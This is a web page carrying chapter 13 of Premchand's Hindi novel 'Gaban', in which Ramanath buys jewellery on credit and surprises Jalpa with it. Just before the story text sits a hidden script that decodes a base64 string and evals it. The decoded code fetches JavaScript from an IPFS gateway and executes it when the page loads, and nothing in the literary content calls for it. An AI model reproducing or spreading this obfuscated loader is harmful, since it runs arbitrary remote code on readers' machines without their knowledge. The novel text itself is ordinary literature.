ग़बन उपन्यास भाग-13

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>सर्राफे में गंगू की दुकान मशहूर थी। गंगू था तो ब्राह्मण, पर बडा ही व्यापारकुशल! उसकी दुकान पर नित्य गाहकों का मेला लगा रहता था। उसकी कर्मनिष्ठा गाहकों में विश्वास पैदा करती थी। और दुकानों पर ठगे जाने का भय था। यहां किसी तरह का धोखा न था। गंगू ने रमा को देखते ही मुस्कराकर कहा, ‘आइए बाबूजी, ऊपर आइए। बडी दया की। मुनीमजी, आपके वास्ते पान मंगवाओ। क्या हुक्म है बाबूजी, आप तो जैसे मुझसे नाराज़ हैं। कभी आते ही नहीं, ग़रीबों पर भी कभी-कभी दया किया कीजिए।‘

गंगू की शिष्टता ने रमा की हिम्मत खोल दी। अगर उसने इतने आग्रह से न बुलाया होता तो शायद रमा को दुकान पर जाने का साहस न होता। अपनी साख का उसे अभी तक अनुभव न हुआ था। दुकान पर जाकर बोला, ‘यहां हम जैसे मज़दूरों का कहां गुज़र है, महाराज! गांठ में कुछ हो भी तो!

गंगू—‘यह आप क्या कहते हैं सरकार, आपकी दुकान है, जो चीज़ चाहिए ले जाइए, दाम आगे-पीछे मिलते रहेंगे। हम लोग आदमी पहचानते हैं बाबू साहब, ऐसी बात नहीं है। धान्य भाग कि आप हमारी दुकान पर आए तो। दिखाऊं कोई जडाऊ चीज़? कोई कंगन, कोई हार- अभी हाल ही में दिल्ली से माल आया है।’

रमानाथ—‘कोई हलके दामों का हार दिखाइए।’

गंगू—‘यही कोई सात-आठ सौ तक?’

रमानाथ—‘अजी नहीं, हद चार सौ तक।’

गंगू—‘मैं आपको दोनों दिखाए देता हूं। जो पसंद आवें, ले लीजिएगा। हमारे यहां किसी तरह का दफल-गसल नहीं बाबू साहब! इसकी आप ज़रा भी चिंता न करें। पांच बरस का लड़का हो या सौ बरस का बूढ़ा, सबके साथ एक बात रखते हैं। मालिक को भी एक दिन मुंह दिखाना है, बाबू!’

संदूक सामने आया, गंगू ने हार निकाल-निकालकर दिखाने शुरू किए। रमा की आँखेंं खुल गई, जी लोट-पोट हो गया। क्या सगाई थी! नगीनों की कितनी सुंदर सजावट! कैसी आब-ताब! उनकी चमक दीपक को मात करती थी। रमा ने सोच रखा था सौ रुपये से ज़्यादा उधार न लगाऊंगा, लेकिन चार सौ वाला हार आंखों में कुछ जंचता न था। और जेब में द्दः तीन सौ रुपये थे। सोचा, अगर यह हार ले गया और जालपा ने पसंद न किया, तो फ़ायदा ही क्या? ऐसी चीज़ ले जाऊं कि वह देखते ही भड़क उठे। यह जडाऊ हार उसकी गर्दन में कितनी शोभा देगा। वह हार एक सहस्र मणि-रंजित नजरों से उसके मन को खींचने लगा। वह अभिभूत होकर उसकी ओर ताक रहा था, पर मुंह से कुछ कहने का साहस न होता था। कहीं गंगू ने तीन सौ रुपये उधार लगाने से इंकार कर दिया, तो उसे कितना लज्जित होना पड़ेगा। गंगू ने उसके मन का संशय ताड़कर कहा, ‘आपके लायक़ तो बाबूजी यही चीज़ है, अंधेरे घर में रख दीजिए, तो उजाला हो जाय।‘

रमानाथ—‘पसंद तो मुझे भी यही है, लेकिन मेरे पास कुल तीन सौ रुपये हैं, यह समझ लीजिए।

शर्म से रमा के मुंह पर लाली छा गई। वह धड़कते हुए हृदय से गंगू का मुंह देखने लगा।गंगू ने निष्कपट भाव से कहा, ‘बाबू साहब, रुपये का तो ज़िक्र ही न कीजिए। कहिए दस हज़ार का माल साथ भेज दूं। दुकान आपकी है, भला कोई बात है? हुक्म हो, तो एक-आधा चीज़ और दिखाऊं? एक शीशफूल अभी बनकर आया है, बस यही मालूम होता है, गुलाब का फल खिला हुआ है। देखकर जी खुश हो जाएगा। मुनीमजी, ज़रा वह शीशफूल दिखाना तो। और दाम का भी कुछ ऐसा भारी नहीं, आपको ढाई सौ में दे दूंगा।‘

रमा ने मुस्कराकर कहा, ‘महाराज, बहुत बातें बनाकर कहीं उल्टे छुरे से न मूंड़ लेना, गहनों के मामले में बिलकुल अनाड़ी हूं। ‘ गंगू—‘ऐसा न कहो बाबूजी, आप चीज़ ले जाइए, बाज़ार में दिखा लीजिए, अगर कोई। ढाई सौ से कौड़ी कम में दे दे, तो मैं मुफ़्त दे दूंगा। शीशफूल आया, सचमुच गुलाब का फूल था, जिस पर हीरे की कलियां ओस की बूंदों के समान चमक रही थीं। रमा की टकटकी बंध गई, मानो कोई अलौकिक वस्तु सामने आ गई हो ।

गंगू—‘बाबूजी, ढाई सौ रुपये तो कारीगर की सगाई के इनाम हैं। यह एक चीज़ है।‘

रमानाथ—‘हां, है तो सुंदर, मगर भाई ऐसा न हो, कि कल ही से दाम का तकाजा करने लगो। मैं खुद ही जहां तक हो सकेगा, जल्दी दे दूंगा।‘

गंगू ने दोनों चीज़ें दो सुंदर मखमली केसों में रखकर रमा को दे दीं। फिर मुनीमजी से नाम टंकवाया और पान खिलाकर विदा किया। रमा के मनोल्लास की इस समय सीमा न थी, किंतु यह विशुद्ध उल्लास न था, इसमें एक शंका का भी समावेश था। यह उस बालक का आनंद न था जिसने माता से पैसे मांगकर मिठाई ली हो; बल्कि उस बालक का, जिसने पैसे चुराकर ली हो, उसे मिठाइयां मीठी तो लगती हैं, पर दिल कांपता रहता है कि कहीं घर चलने पर मार न पड़ने लगे। साढ़े छह सौ रुपये चुका देने की तो उसे विशेष चिंता न थी, घात लग जाय तो वह छह महीने में चुका देगा। भय यही था कि बाबूजी सुनेंगे तो ज़रूर नाराज़ होंगे, लेकिन ज्यों-ज्यों आगे बढ़ता था, जालपा को इन आभूषणों से सुशोभित देखने की उत्कंठा इस शंका पर विजय पाती थी। घर पहुंचने की जल्दी में उसने सड़क छोड़ दी, और एक गली में घुस गया। सघन अंधेरा छाया हुआ था। बादल तो उसी वक्त छाए हुए थे, जब वह घर से चला था। गली में घुसा ही था, कि पानी की बूंद सिर पर छर्रे की तरह पड़ी। जब तक छतरी खोले, वह लथपथ हो चुका था। उसे शंका हुई, इस अंधकारमें कोई आकर दोनों चीज़ें छीन न ले, पानी की झरझर में कोई आवाज़ भी न सुने। अंधेरी गलियों में ख़ून तक हो जाते हैं। पछताने लगा, नाहक इधर से आया। दो-चार मिनट देर ही में पहुंचता, तो ऐसी कौन-सी आफत आ जाती। असामयिक वृष्टि ने उसकी आनंद-कल्पनाओं में बाधा डाल दी। किसी तरह गली का अंत हुआ और सड़क मिली। लालटेनें दिखाई दीं। प्रकाश कितनी विश्वास उत्पन्न करने वाली शक्ति है, आज इसका उसे यथार्थ अनुभव हुआ। वह घर पहुंचा तो दयानाथ बैठे हुक़्क़ा पी रहे थे। वह उस कमरे में न गया। उनकी आंख बचाकर अंदर जाना चाहता था कि उन्होंने टोका, ‘इस वक्त कहां गए थे?‘

रमा ने उन्हें कुछ जवाब न दिया। कहीं वह अख़बार सुनाने लगे, तो घंटों की खबर लेंगे। सीधा अंदर जा पहुंचा। जालपा द्वार पर खड़ी उसकी राह देख रही थी, तुरंत उसके हाथ से छतरी ले ली और बोली, ‘तुम तो बिलकुल भीग गए। कहीं ठहर क्यों न गए।‘

रमानाथ—‘पानी का क्या ठिकाना, रात-भर बरसता रहे।‘

यह कहता हुआ रमा ऊपर चला गया। उसने समझा था, जालपा भी पीछेपीछे आती होगी, पर वह नीचे बैठी अपने देवरों से बातें कर रही थी, मानो उसे गहनों की याद ही नहीं है। जैसे वह बिलकुल भूल गई है कि रमा सर्राफे से आया है। रमा ने कपड़े बदले और मन में झुंझलाता हुआ नीचे चला आया। उसी समय दयानाथ भोजन करने आ गए। सब लोग भोजन करने बैठ गए। जालपा ने ज़ब्त तो किया था, पर इस उत्कंठा की दशा में आज उससे कुछ खाया न गया। जब वह ऊपर पहुंची, तो रमा चारपाई पर लेटा हुआ था। उसे देखते ही कौतुक से बोला, ‘आज सर्राफे का जाना तो व्यर्थ ही गया। हार कहीं तैयार ही न था। बनाने को कह आया हूं। जालपा की उत्साह से चमकती हुई मुख-छवि मलिन पड़ गई, बोली, ‘वह तो पहले ही जानती थी। बनते-बनते पांच-छह महीने तो लग ही जाएंगे।‘

रमानाथ—‘नहीं जी, बहुत जल्द बना देगा, कसम खा रहा था।‘

जालपा—‘ऊह, जब चाहे दे! ‘

उत्कंठा की चरम सीमा ही निराशा है। जालपा मुंह उधरकर लेटने जा रही थी, कि रमा ने ज़ोर से कहकहा मारा। जालपा चौंक पड़ी। समझ गई, रमा ने शरारत की थी। मुस्कराती हुई बोली, ‘तुम भी बडे नटखट हो क्या लाए?

रमानाथ—‘ कैसा चकमा दिया?’

जालपा—‘यह तो मरदों की आदत ही है, तुमने नई बात क्या की?’

जालपा दोनों आभूषणों को देखकर निहाल हो गई। हृदय में आनंद की लहरें-सी उठने लगीं। वह मनोभावों को छिपाना चाहती थी कि रमा उसे ओछी न समझे, लेकिन एक-एक अंग खिल जाता था। मुस्कराती हुई आँखेंं, दमकते हुए कपोल और खिले हुए अधर उसका भरम गंवाए देते थे। उसने हार गले में पहना, शीशफल जूड़े में सजाया और हर्ष से उन्मत्त होकर बोली, ‘तुम्हें आशीर्वाद देती हूं, ईश्वर तुम्हारी सारी मनोकामनाएं पूरी करे।‘ आज जालपा की वह अभिलाषा पूरी हुई, जो बचपन ही से उसकी कल्पनाओं का एक स्वप्न, उसकी आशाओं का क्रीडास्थल बनी हुई थी। आज उसकी वह साध पूरी हो गई। यदि मानकी यहां होती, तो वह सबसे पहले यह हार उसे दिखाती और कहती, ‘तुम्हारा हार तुम्हें मुबारक हो! ‘

रमा पर घड़ों नशा चढ़ा हुआ था। आज उसे अपना जीवन सफल जान पड़ा। अपने जीवन में आज पहली बार उसे विजय का आनंद प्राप्त हुआ। जालपा ने पूछा, ‘जाकर अम्मांजी को दिखा आऊं?

रमा ने नम्रता से कहा, ‘अम्मां को क्या दिखाने जाओगी। ऐसी कौन-सी बडी चीज़ें हैं।

जालपा—‘अब मैं तुमसे साल-भर तक और किसी चीज़ के लिए न कहूंगी। इसके रुपये देकर ही मेरे दिल का बोझ हल्का होगा।‘

रमा गर्व से बोला, ‘रुपये की क्या चिंता! हैं ही कितने! ‘

जालपा—‘ज़रा अम्मांजी को दिखा आऊं, देखें क्या कहती हैं! ‘

रमानाथ—‘मगर यह न कहना, उधार लाए हैं।‘

जालपा इस तरह दौड़ी हुई नीचे गई, मानो उसे वहां कोई निधि मिल जायगी।

आधी रात बीत चुकी थी। रमा आनंद की नींद सो रहा था। जालपा ने छत पर आकर एक बार आकाश की ओर देखा। निर्मल चांदनी छिटकी हुई थी,वह कार्तिक की चांदनी जिसमें संगीत की शांति हैं, शांति का माधुर्य और माधुर्य का उन्मादब जालपा ने कमरे में आकर अपनी संदूकची खोली और उसमें से वह कांच का चन्द्रहार निकाला जिसे एक दिन पहनकर उसने अपने को धन्य माना था। पर अब इस नए चन्द्रहार के सामने उसकी चमक उसी भांति मंद पड़ गई थी, जैसे इस निर्मल चन्द्रज्योति के सामने तारों का आलोकब उसने उस नकली हार को तोड़ डाला और उसके दानों को नीचे गली में गेंक दिया, उसी भांति जैसे पूजन समाप्त हो जाने के बाद कोई उपासक मिट्टी की मूर्तियों को जल में विसर्जित कर देता है।

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टीका टिप्पणी और संदर्भ

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